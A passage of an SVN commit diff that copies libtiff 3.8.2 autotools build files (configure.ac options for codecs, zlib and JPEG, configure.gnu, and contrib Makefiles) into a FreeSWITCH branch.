+	      [HAVE_CCITT=$enableval], [HAVE_CCITT=yes])
+
+if test "$HAVE_CCITT" = "yes" ; then
+  AC_DEFINE(CCITT_SUPPORT,1,[Support CCITT Group 3 & 4 algorithms])
+fi
+
+AC_ARG_ENABLE(packbits,
+	      AS_HELP_STRING([--disable-packbits],
+			     [disable support for Macintosh PackBits algorithm]),
+	      [HAVE_PACKBITS=$enableval], [HAVE_PACKBITS=yes])
+
+if test "$HAVE_PACKBITS" = "yes" ; then
+  AC_DEFINE(PACKBITS_SUPPORT,1,[Support Macintosh PackBits algorithm])
+fi
+
+AC_ARG_ENABLE(lzw,
+	      AS_HELP_STRING([--disable-lzw],
+			     [disable support for LZW algorithm]),
+	      [HAVE_LZW=$enableval], [HAVE_LZW=yes])
+
+if test "$HAVE_LZW" = "yes" ; then
+  AC_DEFINE(LZW_SUPPORT,1,[Support LZW algorithm])
+fi
+
+AC_ARG_ENABLE(thunder,
+	      AS_HELP_STRING([--disable-thunder],
+			     [disable support for ThunderScan 4-bit RLE algorithm]),
+	      [HAVE_THUNDER=$enableval], [HAVE_THUNDER=yes])
+
+if test "$HAVE_THUNDER" = "yes" ; then
+  AC_DEFINE(THUNDER_SUPPORT,1,[Support ThunderScan 4-bit RLE algorithm])
+fi
+
+HAVE_NEXT=yes
+
+AC_ARG_ENABLE(next,
+	      AS_HELP_STRING([--disable-next],
+			     [disable support for NeXT 2-bit RLE algorithm]),
+	      [HAVE_NEXT=$enableval], [HAVE_NEXT=yes])
+
+if test "$HAVE_NEXT" = "yes" ; then
+  AC_DEFINE(NEXT_SUPPORT,1,[Support NeXT 2-bit RLE algorithm])
+fi
+
+AC_ARG_ENABLE(logluv,
+	      AS_HELP_STRING([--disable-logluv],
+			     [disable support for LogLuv high dynamic range encoding]),
+	      [HAVE_LOGLUV=$enableval], [HAVE_LOGLUV=yes])
+
+if test "$HAVE_LOGLUV" = "yes" ; then
+  AC_DEFINE(LOGLUV_SUPPORT,1,[Support LogLuv high dynamic range encoding])
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Switch on/off support for Microsoft Document Imaging
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(mdi,
+	      AS_HELP_STRING([--disable-mdi],
+			     [disable support for Microsoft Document Imaging]),
+	      [HAVE_MDI=$enableval], [HAVE_MDI=yes])
+
+if test "$HAVE_MDI" = "yes" ; then
+  AC_DEFINE(MDI_SUPPORT,1,[Support Microsoft Document Imaging format])
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Check for ZLIB.
+dnl ---------------------------------------------------------------------------
+
+HAVE_ZLIB=no
+
+AC_ARG_ENABLE(zlib,
+	      AS_HELP_STRING([--disable-zlib],
+			     [disable Zlib usage (required for Deflate compression, enabled by default)]),,)
+AC_ARG_WITH(zlib-include-dir,
+	    AS_HELP_STRING([--with-zlib-include-dir=DIR],
+			   [location of Zlib headers]),,)
+AC_ARG_WITH(zlib-lib-dir,
+	    AS_HELP_STRING([--with-zlib-lib-dir=DIR],
+			   [location of Zlib library binary]),,)
+
+if test "x$enable_zlib" != "xno" ; then
+
+  if test "x$with_zlib_lib_dir" != "x" ; then
+    LDFLAGS="-L$with_zlib_lib_dir $LDFLAGS"
+  fi
+  
+  AC_CHECK_LIB(z, inflateEnd, [zlib_lib=yes], [zlib_lib=no],)
+  if test "$zlib_lib" = "no" -a "x$with_zlib_lib_dir" != "x"; then
+    AC_MSG_ERROR([Zlib library not found at $with_zlib_lib_dir])
+  fi
+    
+  if test "x$with_zlib_include_dir" != "x" ; then
+    CPPFLAGS="-I$with_zlib_include_dir $CPPFLAGS"
+  fi
+  AC_CHECK_HEADER(zlib.h, [zlib_h=yes], [zlib_h=no])
+  if test "$zlib_h" = "no" -a "x$with_zlib_include_dir" != "x" ; then
+    AC_MSG_ERROR([Zlib headers not found at $with_zlib_include_dir])
+  fi
+
+  if test "$zlib_lib" = "yes" -a "$zlib_h" = "yes" ; then
+    HAVE_ZLIB=yes
+  fi
+
+fi
+
+if test "$HAVE_ZLIB" = "yes" ; then
+  AC_DEFINE(ZIP_SUPPORT,1,[Support Deflate compression])
+  LIBS="-lz $LIBS"
+
+  if test "$HAVE_RPATH" = "yes" -a "x$with_zlib_lib_dir" != "x" ; then
+    LIBDIR="-R $with_zlib_lib_dir $LIBDIR"
+  fi
+
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Check for Pixar log-format algorithm.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(pixarlog,
+	      AS_HELP_STRING([--disable-pixarlog],
+			     [disable support for Pixar log-format algorithm (requires Zlib)]),
+	      [HAVE_PIXARLOG=$enableval], [HAVE_PIXARLOG=yes])
+
+if test "$HAVE_ZLIB" = "yes" -a "$HAVE_PIXARLOG" = "yes" ; then
+  AC_DEFINE(PIXARLOG_SUPPORT, 1,
+	    [Support Pixar log-format algorithm (requires Zlib)])
+else
+  HAVE_PIXARLOG=no
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Check for JPEG.
+dnl ---------------------------------------------------------------------------
+
+HAVE_JPEG=no
+
+AC_ARG_ENABLE(jpeg,
+	      AS_HELP_STRING([--disable-jpeg],
+			     [disable IJG JPEG library usage (required for JPEG compression, enabled by default)]),,)
+AC_ARG_WITH(jpeg-include-dir,
+	    AS_HELP_STRING([--with-jpeg-include-dir=DIR],
+			   [location of IJG JPEG library headers]),,)
+AC_ARG_WITH(jpeg-lib-dir,
+	    AS_HELP_STRING([--with-jpeg-lib-dir=DIR],
+			   [location of IJG JPEG library binary]),,)
+
+if test "x$enable_jpeg" != "xno" ; then
+
+  if test "x$with_jpeg_lib_dir" != "x" ; then
+    LDFLAGS="-L$with_jpeg_lib_dir $LDFLAGS"
+  
+  fi
+  
+  AC_CHECK_LIB(jpeg, jpeg_read_scanlines, [jpeg_lib=yes], [jpeg_lib=no],)
+  if test "$jpeg_lib" = "no" -a "x$with_jpeg_lib_dir" != "x" ; then
+    AC_MSG_ERROR([IJG JPEG library not found at $with_jpeg_lib_dir])
+  fi
+    
+  if test "x$with_jpeg_include_dir" != "x" ; then
+    CPPFLAGS="-I$with_jpeg_include_dir $CPPFLAGS"
+  fi
+  AC_CHECK_HEADER(jpeglib.h, [jpeg_h=yes], [jpeg_h=no])
+  if test "$jpeg_h" = "no" -a "x$with_jpeg_include_dir" != "x" ; then
+    AC_MSG_ERROR([IJG JPEG library headers not found at $with_jpeg_include_dir])
+  fi
+
+  if test "$jpeg_lib" = "yes" -a "$jpeg_h" = "yes" ; then
+    HAVE_JPEG=yes
+  fi
+
+fi
+
+if test "$HAVE_JPEG" = "yes" ; then
+  AC_DEFINE(JPEG_SUPPORT,1,[Support JPEG compression (requires IJG JPEG library)])
+  LIBS="-ljpeg $LIBS"
+
+  if test "$HAVE_RPATH" = "yes" -a "x$with_jpeg_lib_dir" != "x" ; then
+    LIBDIR="-R $with_jpeg_lib_dir $LIBDIR"
+  fi
+
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Check for Old JPEG.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(old-jpeg,
+	      AS_HELP_STRING([--enable-old-jpeg],
+			     [enable support for Old JPEG compresson (read contrib/ojpeg/README first! Compilation fails with unpatched IJG JPEG library)]),
+	      [HAVE_OJPEG=$enableval], [HAVE_OJPEG=no])
+
+if test "$HAVE_JPEG" = "yes" -a "$HAVE_OJPEG" = "yes" ; then
+  AC_DEFINE(OJPEG_SUPPORT, 1,
+	    [Support Old JPEG compresson (read contrib/ojpeg/README first! Compilation fails with unpatched IJG JPEG library)])
+else
+  HAVE_OJPEG=no
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Check for C++.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(cxx,
+	      AS_HELP_STRING([--enable-cxx],
+			     [enable C++ stream API building (requires C++ compiler)]),
+	      [HAVE_CXX=$enableval], [HAVE_CXX=yes])
+
+if test "$HAVE_CXX" = "yes" ; then
+  AC_DEFINE(CXX_SUPPORT, 1, [Support C++ stream API (requires C++ compiler)])
+else
+  HAVE_CXX=no
+fi
+
+AM_CONDITIONAL(HAVE_CXX, test "$HAVE_CXX" = "yes")
+
+dnl ---------------------------------------------------------------------------
+dnl Check for OpenGL and GLUT.
+dnl ---------------------------------------------------------------------------
+
+HAVE_OPENGL=no
+
+AC_PATH_XTRA
+
+AX_CHECK_GL
+AX_CHECK_GLU
+AX_CHECK_GLUT
+
+if test "$no_x" != "yes" -a "$no_gl" != "yes" \
+	-a "$no_glu" != "yes" -a "$no_glut" != "yes" ; then
+  HAVE_OPENGL=yes
+fi
+
+AM_CONDITIONAL(HAVE_OPENGL, test "$HAVE_OPENGL" = "yes")
+
+dnl ===========================================================================
+dnl ``Orthogonal Features''
+dnl ===========================================================================
+
+dnl ---------------------------------------------------------------------------
+dnl Default handling of strip chopping support.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(strip-chopping,
+	      AS_HELP_STRING([--disable-strip-chopping],
+			     [disable support for strip chopping (whether or not to convert single-strip uncompressed images to mutiple strips of specified size to reduce memory usage)]),
+	      [HAVE_STRIPCHOP=$enableval], [HAVE_STRIPCHOP=yes])
+AC_ARG_WITH(default-strip-size,
+	    AS_HELP_STRING([--with-default-strip-size=SIZE],
+			   [default size of the strip in bytes (when strip chopping enabled) [[default=8192]]]),,)
+
+if test "$HAVE_STRIPCHOP" = "yes" \
+	-a "x$with_default_strip_size" != "xno"; then
+  AC_DEFINE(STRIPCHOP_DEFAULT,TIFF_STRIPCHOP,[Support strip chopping (whether or not to convert single-strip uncompressed images to mutiple strips of specified size to reduce memory usage)])
+
+  if test "x$with_default_strip_size" = "x" \
+	  -o "x$with_default_strip_size" = "xyes"; then
+    with_default_strip_size="8192"
+  fi
+
+  AC_DEFINE_UNQUOTED(STRIP_SIZE_DEFAULT,$with_default_strip_size,[Default size of the strip in bytes (when strip chopping enabled)])
+
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Default subifd support.
+dnl ---------------------------------------------------------------------------
+AC_DEFINE(SUBIFD_SUPPORT,1,[Enable SubIFD tag (330) support])
+
+dnl ---------------------------------------------------------------------------
+dnl Default handling of ASSOCALPHA support.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(extrasample-as-alpha,
+	      AS_HELP_STRING([--disable-extrasample-as-alpha],
+			     [the RGBA interface will treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many packages produce RGBA files but don't mark the alpha properly]),
+	      [HAVE_EXTRASAMPLE_AS_ALPHA=$enableval],
+	      [HAVE_EXTRASAMPLE_AS_ALPHA=yes])
+
+if test "$HAVE_EXTRASAMPLE_AS_ALPHA" = "yes" ; then
+  AC_DEFINE(DEFAULT_EXTRASAMPLE_AS_ALPHA, 1,
+	    [Treat extra sample as alpha (default enabled). The RGBA interface will treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many packages produce RGBA files but don't mark the alpha properly.])
+fi
+
+dnl ---------------------------------------------------------------------------
+dnl Default handling of YCbCr subsampling support.
+dnl See Bug 168 in Bugzilla, and JPEGFixupTestSubsampling() for details.
+dnl ---------------------------------------------------------------------------
+
+AC_ARG_ENABLE(check-ycbcr-subsampling,
+	      AS_HELP_STRING([--disable-check-ycbcr-subsampling],
+			     [disable picking up YCbCr subsampling info from the JPEG data stream to support files lacking the tag]),
+	      [CHECK_JPEG_YCBCR_SUBSAMPLING=$enableval],
+	      [CHECK_JPEG_YCBCR_SUBSAMPLING=yes])
+
+if test "$CHECK_JPEG_YCBCR_SUBSAMPLING" = "yes" ; then
+  AC_DEFINE(CHECK_JPEG_YCBCR_SUBSAMPLING, 1,
+	    [Pick up YCbCr subsampling info from the JPEG data stream to support files lacking the tag (default enabled).])
+fi
+
+dnl ---------------------------------------------------------------------------
+
+AC_SUBST(LIBDIR)
+
+AC_CONFIG_HEADERS([libtiff/tif_config.h libtiff/tiffconf.h])
+
+AC_CONFIG_FILES([Makefile \
+		 contrib/Makefile \
+		 contrib/acorn/Makefile \
+		 contrib/addtiffo/Makefile \
+		 contrib/dbs/Makefile \
+		 contrib/dbs/xtiff/Makefile \
+		 contrib/iptcutil/Makefile \
+		 contrib/mac-cw/Makefile \
+		 contrib/mac-mpw/Makefile \
+		 contrib/mfs/Makefile \
+		 contrib/ojpeg/Makefile \
+		 contrib/pds/Makefile \
+		 contrib/ras/Makefile \
+		 contrib/stream/Makefile \
+		 contrib/tags/Makefile \
+		 contrib/win_dib/Makefile \
+                 html/Makefile \
+		 html/images/Makefile \
+		 html/man/Makefile \
+                 libtiff/Makefile \
+                 man/Makefile \
+		 port/Makefile \
+		 test/Makefile \
+                 tools/Makefile])
+AC_OUTPUT
+
+dnl ---------------------------------------------------------------------------
+dnl Display configuration status
+dnl ---------------------------------------------------------------------------
+
+LOC_MSG()
+LOC_MSG([Libtiff is now configured for ${host}])
+LOC_MSG()
+LOC_MSG([  Installation directory:             ${prefix}])
+LOC_MSG([  Documentation directory:            ${LIBTIFF_DOCDIR}])
+LOC_MSG([  C compiler:                         ${CC} ${CFLAGS}])
+LOC_MSG([  C++ compiler:                       ${CXX} ${CXXFLAGS}])
+LOC_MSG([  Enable runtime linker paths:        ${HAVE_RPATH}])
+LOC_MSG([  Support Microsoft Document Imaging: ${HAVE_MDI}])
+LOC_MSG()
+LOC_MSG([ Support for internal codecs:])
+LOC_MSG([  CCITT Group 3 & 4 algorithms:       ${HAVE_CCITT}])
+LOC_MSG([  Macintosh PackBits algorithm:       ${HAVE_PACKBITS}])
+LOC_MSG([  LZW algorithm:                      ${HAVE_LZW}])
+LOC_MSG([  ThunderScan 4-bit RLE algorithm:    ${HAVE_THUNDER}])
+LOC_MSG([  NeXT 2-bit RLE algorithm:           ${HAVE_NEXT}])
+LOC_MSG([  LogLuv high dynamic range encoding: ${HAVE_LOGLUV}])
+LOC_MSG()
+LOC_MSG([ Support for external codecs:])
+LOC_MSG([  ZLIB support:                       ${HAVE_ZLIB}])
+LOC_MSG([  Pixar log-format algorithm:         ${HAVE_PIXARLOG}])
+LOC_MSG([  JPEG support:                       ${HAVE_JPEG}])
+LOC_MSG([  Old JPEG support:                   ${HAVE_OJPEG}])
+LOC_MSG()
+LOC_MSG([  C++ support:                        ${HAVE_CXX}])
+LOC_MSG()
+LOC_MSG([  OpenGL support:                     ${HAVE_OPENGL}])
+LOC_MSG()
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/configure.gnu

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/configure.gnu (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/configure.gnu) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/configure.gnu	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+#! /bin/sh
+./configure "$@" --disable-shared --with-pic

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README
+
+SUBDIRS = acorn addtiffo dbs iptcutil mac-cw mac-mpw mfs ojpeg pds ras stream tags win_dib
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,543 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
+	html-recursive info-recursive install-data-recursive \
+	install-exec-recursive install-info-recursive \
+	install-recursive installcheck-recursive installdirs-recursive \
+	pdf-recursive ps-recursive uninstall-info-recursive \
+	uninstall-recursive
+ETAGS = etags
+CTAGS = ctags
+DIST_SUBDIRS = $(SUBDIRS)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README
+SUBDIRS = acorn addtiffo dbs iptcutil mac-cw mac-mpw mfs ojpeg pds ras stream tags win_dib
+all: all-recursive
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+
+# This directory's subdirectories are mostly independent; you can cd
+# into them and run `make' without going through this Makefile.
+# To change the values of `make' variables: instead of editing Makefiles,
+# (1) if the variable is set in `config.status', edit `config.status'
+#     (which will cause the Makefiles to be regenerated when you run `make');
+# (2) otherwise, pass the desired values on the `make' command line.
+$(RECURSIVE_TARGETS):
